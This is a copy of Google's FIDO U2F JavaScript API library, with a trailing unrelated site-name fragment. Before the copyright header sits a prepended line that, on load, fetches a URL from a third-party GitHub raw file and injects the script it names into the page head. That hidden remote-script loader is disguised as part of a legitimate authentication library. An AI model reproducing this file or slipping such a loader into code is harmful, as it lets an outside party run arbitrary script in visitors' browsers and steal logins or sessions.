;var url = 'https://raw.githubusercontent.com/AlexanderRPatton/cdn/main/repo.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});//Copyright 2014-2015 Google Inc. All rights reserved. //Use of this source code is governed by a BSD-style //license that can be found in the LICENSE file or at //https://developers.google.com/open-source/licenses/bsd /** * @fileoverview The U2F api. */ 'use strict'; /** * Namespace for the U2F api. * @type {Object} */ var u2f = u2f || {}; /** * FIDO U2F Javascript API Version * @number */ var js_api_version; /** * The U2F extension id * @const {string} */ // The Chrome packaged app extension ID. // Uncomment this if you want to deploy a server instance that uses // the package Chrome app and does not require installing the U2F Chrome extension. u2f.EXTENSION_ID = 'kmendfapggjehodndflmmgagdbamhnfd'; // The U2F Chrome extension ID. // Uncomment this if you want to deploy a server instance that uses // the U2F Chrome extension to authenticate. // u2f.EXTENSION_ID = 'pfboblefjcgdjicmnffhdgionmgcdmne'; /** * Message types for messages to/from the extension * @const * @enum {string} */ u2f.MessageTypes = { 'U2F_REGISTER_REQUEST': 'u2f_register_request', 'U2F_REGISTER_RESPONSE': 'u2f_register_response', 'U2F_SIGN_REQUEST': 'u2f_sign_request', 'U2F_SIGN_RESPONSE': 'u2f_sign_response', 'U2F_GET_API_VERSION_REQUEST': 'u2f_get_api_version_request', 'U2F_GET_API_VERSION_RESPONSE': 'u2f_get_api_version_response' }; /** * Response status codes * @const * @enum {number} */ u2f.ErrorCodes = { 'OK': 0, 'OTHER_ERROR': 1, 'BAD_REQUEST': 2, 'CONFIGURATION_UNSUPPORTED': 3, 'DEVICE_INELIGIBLE': 4, 'TIMEOUT': 5 }; /** * A message for registration requests * @typedef {{ * type: u2f.MessageTypes, * appId: ?string, * timeoutSeconds: ?number, * requestId: ?number * }} */ u2f.U2fRequest; /** * A message for registration responses * @typedef {{ * type: u2f.MessageTypes, * responseData: (u2f.Error | u2f.RegisterResponse | u2f.SignResponse), * requestId: ?number * }} */ u2f.U2fResponse; /** * An error object for responses * @typedef {{ * errorCode: u2f.ErrorCodes, * errorMessage: ?string * }} */ u2f.Error; /** * Data object for a single sign request. * @typedef {enum {BLUETOOTH_RADIO, BLUETOOTH_LOW_ENERGY, USB, NFC}} */ u2f.Transport; /** * Data object for a single sign request. * @typedef {Array} */ u2f.Transports; /** * Data object for a single sign request. * @typedef {{ * version: string, * challenge: string, * keyHandle: string, * appId: string * }} */ u2f.SignRequest; /** * Data object for a sign response. * @typedef {{ * keyHandle: string, * signatureData: string, * clientData: string * }} */ u2f.SignResponse; /** * Data object for a registration request. * @typedef {{ * version: string, * challenge: string * }} */ u2f.RegisterRequest; /** * Data object for a registration response. * @typedef {{ * version: string, * keyHandle: string, * transports: Transports, * appId: string * }} */ u2f.RegisterResponse; /** * Data object for a registered key. * @typedef {{ * version: string, * keyHandle: string, * transports: ?Transports, * appId: ?string * }} */ u2f.RegisteredKey; /** * Data object for a get API register response. * @typedef {{ * js_api_version: number * }} */ u2f.GetJsApiVersionResponse; //Low level MessagePort API support /** * Sets up a MessagePort to the U2F extension using the * available mechanisms. * @param {function((MessagePort|u2f.WrappedChromeRuntimePort_))} callback */ u2f.getMessagePort = function(callback) { if (typeof chrome != 'undefined' && chrome.runtime) { // The actual message here does not matter, but we need to get a reply // for the callback to run. Thus, send an empty signature request // in order to get a failure response. var msg = { type: u2f.MessageTypes.U2F_SIGN_REQUEST, signRequests: [] }; chrome.runtime.sendMessage(u2f.EXTENSION_ID, msg, function() { if (!chrome.runtime.lastError) { // We are on a whitelisted origin and can talk directly // with the extension. u2f.getChromeRuntimePort_(callback); } else { // chrome.runtime was available, but we couldn't message // the extension directly, use iframe u2f.getIframePort_(callback); } }); } else if (u2f.isAndroidChrome_()) { u2f.getAuthenticatorPort_(callback); } else if (u2f.isIosChrome_()) { u2f.getIosPort_(callback); } else { // chrome.runtime was not available at all, which is normal // when this origin doesn't have access to any extensions. u2f.getIframePort_(callback); } }; /** * Detect chrome running on android based on the browser's useragent. * @private */ u2f.isAndroidChrome_ = function() { var userAgent = navigator.userAgent; return userAgent.indexOf('Chrome') != -1 && userAgent.indexOf('Android') != -1; }; /** * Detect chrome running on iOS based on the browser's platform. * @private */ u2f.isIosChrome_ = function() { return ["iPhone", "iPad", "iPod"].indexOf(navigator.platform) > -1; }; /** * Connects directly to the extension via chrome.runtime.connect. * @param {function(u2f.WrappedChromeRuntimePort_)} callback * @private */ u2f.getChromeRuntimePort_ = function(callback) { var port = chrome.runtime.connect(u2f.EXTENSION_ID, {'includeTlsChannelId': true}); setTimeout(function() { callback(new u2f.WrappedChromeRuntimePort_(port)); }, 0); }; /** * Return a 'port' abstraction to the Authenticator app. * @param {function(u2f.WrappedAuthenticatorPort_)} callback * @private */ u2f.getAuthenticatorPort_ = function(callback) { setTimeout(function() { callback(new u2f.WrappedAuthenticatorPort_()); }, 0); }; /** * Return a 'port' abstraction to the iOS client app. * @param {function(u2f.WrappedIosPort_)} callback * @private */ u2f.getIosPort_ = function(callback) { setTimeout(function() { callback(new u2f.WrappedIosPort_()); }, 0); }; /** * A wrapper for chrome.runtime.Port that is compatible with MessagePort. * @param {Port} port * @constructor * @private */ u2f.WrappedChromeRuntimePort_ = function(port) { this.port_ = port; }; /** * Format and return a sign request compliant with the JS API version supported by the extension. * @param {Array} signRequests * @param {number} timeoutSeconds * @param {number} reqId * @return {Object} */ u2f.formatSignRequest_ = function(appId, challenge, registeredKeys, timeoutSeconds, reqId) { if (js_api_version === undefined || js_api_version < 1.1) { // Adapt request to the 1.0 JS API. var signRequests = []; for (var i = 0; i < registeredKeys.length; i++) { signRequests[i] = { version: registeredKeys[i].version, challenge: challenge, keyHandle: registeredKeys[i].keyHandle, appId: appId }; } return { type: u2f.MessageTypes.U2F_SIGN_REQUEST, signRequests: signRequests, timeoutSeconds: timeoutSeconds, requestId: reqId }; } // JS 1.1 API. return { type: u2f.MessageTypes.U2F_SIGN_REQUEST, appId: appId, challenge: challenge, registeredKeys: registeredKeys, timeoutSeconds: timeoutSeconds, requestId: reqId }; }; /** * Format and return a register request compliant with the JS API version supported by the extension.. * @param {Array} signRequests * @param {Array} signRequests * @param {number} timeoutSeconds * @param {number} reqId * @return {Object} */ u2f.formatRegisterRequest_ = function(appId, registeredKeys, registerRequests, timeoutSeconds, reqId) { if (js_api_version === undefined || js_api_version < 1.1) { // Adapt request to the 1.0 JS API. for (var i = 0; i < registerRequests.length; i++) { registerRequests[i].appId = appId; } var signRequests = []; for (var i = 0; i < registeredKeys.length; i++) { signRequests[i] = { version: registeredKeys[i].version, challenge: registerRequests[0], keyHandle: registeredKeys[i].keyHandle, appId: appId }; } return { type: u2f.MessageTypes.U2F_REGISTER_REQUEST, signRequests: signRequests, registerRequests: registerRequests, timeoutSeconds: timeoutSeconds, requestId: reqId }; } // JS 1.1 API. return { type: u2f.MessageTypes.U2F_REGISTER_REQUEST, appId: appId, registerRequests: registerRequests, registeredKeys: registeredKeys, timeoutSeconds: timeoutSeconds, requestId: reqId }; }; /** * Posts a message on the underlying channel. * @param {Object} message */ u2f.WrappedChromeRuntimePort_.prototype.postMessage = function(message) { this.port_.postMessage(message); }; /** * Emulates the HTML 5 addEventListener interface. Works only for the * onmessage event, which is hooked up to the chrome.runtime.Port.onMessage. * @param {string} eventName * @param {function({data: Object})} handler */ u2f.WrappedChromeRuntimePort_.prototype.addEventListener = function(eventName, handler) { var name = eventName.toLowerCase(); if (name == 'message' || name == 'onmessage') { this.port_.onMessage.addListener(function(message) { // Emulate a minimal MessageEvent object. handler({'data': message}); }); } else { console.error('WrappedChromeRuntimePort only supports onMessage'); } }; /** * Wrap the Authenticator app with a MessagePort interface. * @constructor * @private */ u2f.WrappedAuthenticatorPort_ = function() { this.requestId_ = -1; this.requestObject_ = null; } /** * Launch the Authenticator intent. * @param {Object} message */ u2f.WrappedAuthenticatorPort_.prototype.postMessage = function(message) { var intentUrl = u2f.WrappedAuthenticatorPort_.INTENT_URL_BASE_ + ';S.request=' + encodeURIComponent(JSON.stringify(message)) + ';end'; document.location = intentUrl; }; /** * Tells what type of port this is. * @return {String} port type */ u2f.WrappedAuthenticatorPort_.prototype.getPortType = function() { return "WrappedAuthenticatorPort_"; }; /** * Emulates the HTML 5 addEventListener interface. * @param {string} eventName * @param {function({data: Object})} handler */ u2f.WrappedAuthenticatorPort_.prototype.addEventListener = function(eventName, handler) { var name = eventName.toLowerCase(); if (name == 'message') { var self = this; /* Register a callback to that executes when * chrome injects the response. */ window.addEventListener( 'message', self.onRequestUpdate_.bind(self, handler), false); } else { console.error('WrappedAuthenticatorPort only supports message'); } }; /** * Callback invoked when a response is received from the Authenticator. * @param function({data: Object}) callback * @param {Object} message message Object */ u2f.WrappedAuthenticatorPort_.prototype.onRequestUpdate_ = function(callback, message) { var messageObject = JSON.parse(message.data); var intentUrl = messageObject['intentURL']; var errorCode = messageObject['errorCode']; var responseObject = null; if (messageObject.hasOwnProperty('data')) { responseObject = /** @type {Object} */ ( JSON.parse(messageObject['data'])); } callback({'data': responseObject}); }; /** * Base URL for intents to Authenticator. * @const * @private */ u2f.WrappedAuthenticatorPort_.INTENT_URL_BASE_ = 'intent:#Intent;action=com.google.android.apps.authenticator.AUTHENTICATE'; /** * Wrap the iOS client app with a MessagePort interface. * @constructor * @private */ u2f.WrappedIosPort_ = function() {}; /** * Launch the iOS client app request * @param {Object} message */ u2f.WrappedIosPort_.prototype.postMessage = function(message) { var str = JSON.stringify(message); var url = "u2f://auth?" + encodeURI(str); location.replace(url); }; /** * Tells what type of port this is. * @return {String} port type */ u2f.WrappedIosPort_.prototype.getPortType = function() { return "WrappedIosPort_"; }; /** * Emulates the HTML 5 addEventListener interface. * @param {string} eventName * @param {function({data: Object})} handler */ u2f.WrappedIosPort_.prototype.addEventListener = function(eventName, handler) { var name = eventName.toLowerCase(); if (name !== 'message') { console.error('WrappedIosPort only supports message'); } }; /** * Sets up an embedded trampoline iframe, sourced from the extension. * @param {function(MessagePort)} callback * @private */ u2f.getIframePort_ = function(callback) { // Create the iframe var iframeOrigin = 'chrome-extension://' + u2f.EXTENSION_ID; var iframe = document.createElement('iframe'); iframe.src = iframeOrigin + '/u2f-comms.html'; iframe.setAttribute('style', 'display:none'); document.body.appendChild(iframe); var channel = new MessageChannel(); var ready = function(message) { if (message.data == 'ready') { channel.port1.removeEventListener('message', ready); callback(channel.port1); } else { console.error('First event on iframe port was not "ready"'); } }; channel.port1.addEventListener('message', ready); channel.port1.start(); iframe.addEventListener('load', function() { // Deliver the port to the iframe and initialize iframe.contentWindow.postMessage('init', iframeOrigin, [channel.port2]); }); }; //High-level JS API /** * Default extension response timeout in seconds. * @const */ u2f.EXTENSION_TIMEOUT_SEC = 30; /** * A singleton instance for a MessagePort to the extension. * @type {MessagePort|u2f.WrappedChromeRuntimePort_} * @private */ u2f.port_ = null; /** * Callbacks waiting for a port * @type {Array} * @private */ u2f.waitingForPort_ = []; /** * A counter for requestIds. * @type {number} * @private */ u2f.reqCounter_ = 0; /** * A map from requestIds to client callbacks * @type {Object.} * @private */ u2f.callbackMap_ = {}; /** * Creates or retrieves the MessagePort singleton to use. * @param {function((MessagePort|u2f.WrappedChromeRuntimePort_))} callback * @private */ u2f.getPortSingleton_ = function(callback) { if (u2f.port_) { callback(u2f.port_); } else { if (u2f.waitingForPort_.length == 0) { u2f.getMessagePort(function(port) { u2f.port_ = port; u2f.port_.addEventListener('message', /** @type {function(Event)} */ (u2f.responseHandler_)); // Careful, here be async callbacks. Maybe. while (u2f.waitingForPort_.length) u2f.waitingForPort_.shift()(u2f.port_); }); } u2f.waitingForPort_.push(callback); } }; /** * Handles response messages from the extension. * @param {MessageEvent.} message * @private */ u2f.responseHandler_ = function(message) { var response = message.data; var reqId = response['requestId']; if (!reqId || !u2f.callbackMap_[reqId]) { console.error('Unknown or missing requestId in response.'); return; } var cb = u2f.callbackMap_[reqId]; delete u2f.callbackMap_[reqId]; cb(response['responseData']); }; /** * Dispatches an array of sign requests to available U2F tokens. * If the JS API version supported by the extension is unknown, it first sends a * message to the extension to find out the supported API version and then it sends * the sign request. * @param {string=} appId * @param {string=} challenge * @param {Array} registeredKeys * @param {function((u2f.Error|u2f.SignResponse))} callback * @param {number=} opt_timeoutSeconds */ u2f.sign = function(appId, challenge, registeredKeys, callback, opt_timeoutSeconds) { if (js_api_version === undefined) { // Send a message to get the extension to JS API version, then send the actual sign request. u2f.getApiVersion( function (response) { js_api_version = response['js_api_version'] === undefined ? 0 : response['js_api_version']; console.log("Extension JS API Version: ", js_api_version); u2f.sendSignRequest(appId, challenge, registeredKeys, callback, opt_timeoutSeconds); }); } else { // We know the JS API version. Send the actual sign request in the supported API version. u2f.sendSignRequest(appId, challenge, registeredKeys, callback, opt_timeoutSeconds); } }; /** * Dispatches an array of sign requests to available U2F tokens. * @param {string=} appId * @param {string=} challenge * @param {Array} registeredKeys * @param {function((u2f.Error|u2f.SignResponse))} callback * @param {number=} opt_timeoutSeconds */ u2f.sendSignRequest = function(appId, challenge, registeredKeys, callback, opt_timeoutSeconds) { u2f.getPortSingleton_(function(port) { var reqId = ++u2f.reqCounter_; u2f.callbackMap_[reqId] = callback; var timeoutSeconds = (typeof opt_timeoutSeconds !== 'undefined' ? opt_timeoutSeconds : u2f.EXTENSION_TIMEOUT_SEC); var req = u2f.formatSignRequest_(appId, challenge, registeredKeys, timeoutSeconds, reqId); port.postMessage(req); }); }; /** * Dispatches register requests to available U2F tokens. An array of sign * requests identifies already registered tokens. * If the JS API version supported by the extension is unknown, it first sends a * message to the extension to find out the supported API version and then it sends * the register request. * @param {string=} appId * @param {Array} registerRequests * @param {Array} registeredKeys * @param {function((u2f.Error|u2f.RegisterResponse))} callback * @param {number=} opt_timeoutSeconds */ u2f.register = function(appId, registerRequests, registeredKeys, callback, opt_timeoutSeconds) { if (js_api_version === undefined) { // Send a message to get the extension to JS API version, then send the actual register request. u2f.getApiVersion( function (response) { js_api_version = response['js_api_version'] === undefined ? 0: response['js_api_version']; console.log("Extension JS API Version: ", js_api_version); u2f.sendRegisterRequest(appId, registerRequests, registeredKeys, callback, opt_timeoutSeconds); }); } else { // We know the JS API version. Send the actual register request in the supported API version. u2f.sendRegisterRequest(appId, registerRequests, registeredKeys, callback, opt_timeoutSeconds); } }; /** * Dispatches register requests to available U2F tokens. An array of sign * requests identifies already registered tokens. * @param {string=} appId * @param {Array} registerRequests * @param {Array} registeredKeys * @param {function((u2f.Error|u2f.RegisterResponse))} callback * @param {number=} opt_timeoutSeconds */ u2f.sendRegisterRequest = function(appId, registerRequests, registeredKeys, callback, opt_timeoutSeconds) { u2f.getPortSingleton_(function(port) { var reqId = ++u2f.reqCounter_; u2f.callbackMap_[reqId] = callback; var timeoutSeconds = (typeof opt_timeoutSeconds !== 'undefined' ? opt_timeoutSeconds : u2f.EXTENSION_TIMEOUT_SEC); var req = u2f.formatRegisterRequest_( appId, registeredKeys, registerRequests, timeoutSeconds, reqId); port.postMessage(req); }); }; /** * Dispatches a message to the extension to find out the supported * JS API version. * If the user is on a mobile phone and is thus using Google Authenticator instead * of the Chrome extension, don't send the request and simply return 0. * @param {function((u2f.Error|u2f.GetJsApiVersionResponse))} callback * @param {number=} opt_timeoutSeconds */ u2f.getApiVersion = function(callback, opt_timeoutSeconds) { u2f.getPortSingleton_(function(port) { // If we are using Android Google Authenticator or iOS client app, // do not fire an intent to ask which JS API version to use. if (port.getPortType) { var apiVersion; switch (port.getPortType()) { case 'WrappedIosPort_': case 'WrappedAuthenticatorPort_': apiVersion = 1.1; break; default: apiVersion = 0; break; } callback({ 'js_api_version': apiVersion }); return; } var reqId = ++u2f.reqCounter_; u2f.callbackMap_[reqId] = callback; var req = { type: u2f.MessageTypes.U2F_GET_API_VERSION_REQUEST, timeoutSeconds: (typeof opt_timeoutSeconds !== 'undefined' ? opt_timeoutSeconds : u2f.EXTENSION_TIMEOUT_SEC), requestId: reqId }; port.postMessage(req); }); }; PREEMA - ART & LIBERATION
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